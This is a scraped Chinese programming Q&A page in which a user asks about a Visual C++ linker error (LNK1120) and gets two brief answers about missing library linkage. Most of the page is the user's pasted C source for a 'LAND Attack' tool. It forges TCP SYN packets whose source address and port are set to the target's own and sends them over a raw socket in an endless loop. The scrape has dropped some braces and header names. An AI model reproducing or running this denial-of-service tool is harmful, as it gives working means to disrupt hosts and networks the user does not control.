您好,欢迎来到[编程问答]网站首页   源码下载   电子书籍   软件下载   专题
当前位置:首页 >> 编程问答 >> C/C++ >> Debug/fdexe : fatal error LNK1120: 11 unresolved externals

Debug/fdexe : fatal error LNK1120: 11 unresolved externals

来源:网络整理     时间:2016/7/27 15:21:05     关键词:

关于网友提出的“ Debug/fdexe : fatal error LNK1120: 11 unresolved externals”问题疑问,本网通过在网上对“ Debug/fdexe : fatal error LNK1120: 11 unresolved externals”有关的相关答案进行了整理,供用户进行参考,详细问题解答如下:

问题: Debug/fdexe : fatal error LNK1120: 11 unresolved externals
描述:

本人在编译下面这个程序时出现了以下的错误:
Debug/fd.exe : fatal error LNK1120: 11 unresolved externals
请问各位大侠如何是为什么啊?这么样解决呢?
#include  
#include  
#include  
//#include <#stdafx.h> 
#define false 0
#define true 1
typedef struct ip_hdr //定义IP首部 

unsigned char h_verlen; //4位首部长度,4位IP版本号 
unsigned char tos; //8位服务类型TOS 
unsigned short total_len; //16位总长度(字节) 
unsigned short ident; //16位标识 
unsigned short frag_and_flags; //3位标志位 
unsigned char ttl; //8位生存时间 TTL 
unsigned char proto; //8位协议 (TCP, UDP 或其他) 
unsigned short checksum; //16位IP首部校验和 
unsigned int sourceIP; //32位源IP地址 
unsigned int destIP; //32位目的IP地址 
}IPHEADER; 
typedef struct tsd_hdr //定义TCP伪首部 

unsigned long saddr; //源地址 
unsigned long daddr; //目的地址 
char mbz; 
char ptcl; //协议类型 
unsigned short tcpl; //TCP长度 
}PSDHEADER; 
typedef struct tcp_hdr //定义TCP首部 

USHORT th_sport; //16位源端口 
USHORT th_dport; //16位目的端口 
unsigned int th_seq; //32位序列号 
unsigned int th_ack; //32位确认号 
unsigned char th_lenres; //4位首部长度/6位保留字 
unsigned char th_flag; //6位标志位 
USHORT th_win; //16位窗口大小 
USHORT th_sum; //16位校验和 
USHORT th_urp; //16位紧急数据偏移量 
}TCPHEADER; 
//CheckSum:计算校验和的子函数 
USHORT checksum(USHORT *buffer, int size) 

unsigned long cksum=0; 
while(size >1) 

cksum+=*buffer++; 
size -=sizeof(USHORT); 

if(size ) 

cksum += *(UCHAR*)buffer; 

cksum = (cksum >> 16) + (cksum & 0xffff); 
cksum += (cksum >>16); 
return (USHORT)(~cksum); 

unsigned long resolve(char *host)
{
long i;
struct hostent *he;
if((i=inet_addr(host))<0)
  if((he=gethostbyname(host))==NULL)
  return(0);
  else
  return(*(unsigned long *)he->h_addr);
return(i);
}
void usage() 

printf("==================================================\n"); 
printf("LAND Attack for Windows 2000/XP version 1.6 HeiBai\n"); 
printf("\t Written by LK007\n"); 
printf("\t http://www.heibai.net\n"); 
printf("\t Include Auto-Resolve Host to IP code,\n"); 
printf("\t can input DNS instead of IP Address\n");
printf("Usage: LAND [Host] [Port] \n"); 
printf("**************************************************\n"); 
printf("LAND 攻击者 for Windows 2000/XP v1.6 黑白专版\n"); 
printf("\t作者:小金\n"); 
printf("\t http://www.heibai.net\n"); 
printf("\t 内置DNS解析过程,可以直接输入域名\n"); 
printf("使用方法: LAND [目标] [端口] \n"); 
printf("==================================================\n"); 
printf("\n\n");
printf("\t==================================\n"); 
printf("\tLAND Attack .::powered by LK007::.\n"); 
printf("\t==================================\n"); 
printf("\t(C)2002 小金 版权所有\n"); 
printf("\t感谢:星坤,笑天梦无心,FHM 支持\n\n"); 

int main(int argc, char* argv[]) 

WSADATA WSAData; 
SOCKET sock; 
SOCKADDR_IN addr_in; 
IPHEADER ipHeader; 
TCPHEADER tcpHeader; 
PSDHEADER psdHeader; 
char szSendBuf[40]={0}; 
BOOL flag; 
int Land; 
if (argc!= 3) 

usage(); 
return false; 

if (WSAStartup(MAKEWORD(2,2), &WSAData)!=0) 

printf("WSAStartup Error!\n"); 
return false; 

if ((sock=WSASocket(AF_INET,SOCK_RAW,IPPROTO_RAW,NULL,0,WSA_FLAG_OVERLAPPED))==INVALID_SOCKET) 

printf("无法创建Socket套接字!\n"); 
return false; 

printf("\n\n");
printf("\t==================================\n"); 
printf("\tLAND Attack .::powered by LK007::.\n"); 
printf("\t==================================\n"); 
printf("\t(C)2002 小金 版权所有\n"); 
printf("\t感谢:星坤,笑天梦无心,FHM 支持\n\n"); 
flag=true; 
if (setsockopt(sock,IPPROTO_IP, IP_HDRINCL,(char *)&flag,sizeof(flag))==SOCKET_ERROR) 

printf("设置IP数据失败!可能你的系统不支持!\n"); 
return false; 

printf("Creating Socket...\n\n");   
addr_in.sin_family=AF_INET; 
addr_in.sin_port=htons(atoi(argv[2])); 
addr_in.sin_addr.S_un.S_addr=resolve(argv[1]); 
// 
// 
//填充IP首部 
ipHeader.h_verlen=(4<<4 | sizeof(ipHeader)/sizeof(unsigned long)); 
ipHeader.total_len=htons(sizeof(ipHeader)+sizeof(tcpHeader)); 
ipHeader.ident=htons(0xF1C); 
ipHeader.frag_and_flags=0; 
ipHeader.ttl=255; 
ipHeader.proto=IPPROTO_TCP; 
ipHeader.checksum=0; 
ipHeader.sourceIP=resolve(argv[1]);
ipHeader.destIP=ipHeader.sourceIP;
//填充TCP首部 
tcpHeader.th_sport=htons(atoi(argv[2])); 
tcpHeader.th_dport=htons(atoi(argv[2])); 
tcpHeader.th_seq=htonl(0xF1C);
tcpHeader.th_ack=1; 
tcpHeader.th_lenres=(sizeof(tcpHeader)/4<<4|0); 
tcpHeader.th_flag=2; //修改这里来实现不同的标志位探测,2是SYN,1是FIN,16是ACK探测 等等 
tcpHeader.th_win=htons(2048); 
tcpHeader.th_urp=0; 
tcpHeader.th_sum=0; 
psdHeader.saddr=ipHeader.sourceIP; 
psdHeader.daddr=ipHeader.destIP; 
psdHeader.mbz=0; 
psdHeader.ptcl=IPPROTO_TCP; 
psdHeader.tcpl=htons(sizeof(tcpHeader)); 
printf("LAND Target:%d\n\n",argv[1]); 
printf("LAND Data buffering...\n\n"); 
//计算校验和 
memcpy(szSendBuf, &psdHeader, sizeof(psdHeader)); 
memcpy(szSendBuf+sizeof(psdHeader), &tcpHeader, sizeof(tcpHeader)); 
tcpHeader.th_sum=checksum((USHORT *)szSendBuf,sizeof(psdHeader)+sizeof(tcpHeader)); 
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 
memcpy(szSendBuf+sizeof(ipHeader), &tcpHeader, sizeof(tcpHeader)); 
memset(szSendBuf+sizeof(ipHeader)+sizeof(tcpHeader), 0, 4); 
ipHeader.checksum=checksum((USHORT *)szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader)); 
memcpy(szSendBuf, &ipHeader, sizeof(ipHeader)); 
while(1){ 
printf(".");
Land=sendto(sock, szSendBuf, sizeof(ipHeader)+sizeof(tcpHeader), 
0, (struct sockaddr*)&addr_in, sizeof(addr_in)); 
if (Land==SOCKET_ERROR) 

printf("Land error:%d\n",WSAGetLastError()); 
return false; 

}//end while 
closesocket(sock); 
WSACleanup(); 
return 0; 
}


解决方案1:

检查下吧,一般就是库函数所需要的DLL没有链接上,或是声明的方法没有找到

解决方案2:

函数声明了没有实现。是不是dll没有加进来。


以上介绍了“ Debug/fdexe : fatal error LNK1120: 11 unresolved externals”的问题解答,希望对有需要的网友有所帮助。
本文网址链接:http://www.codes51.com/itwd/2964980.html

相关图片

相关文章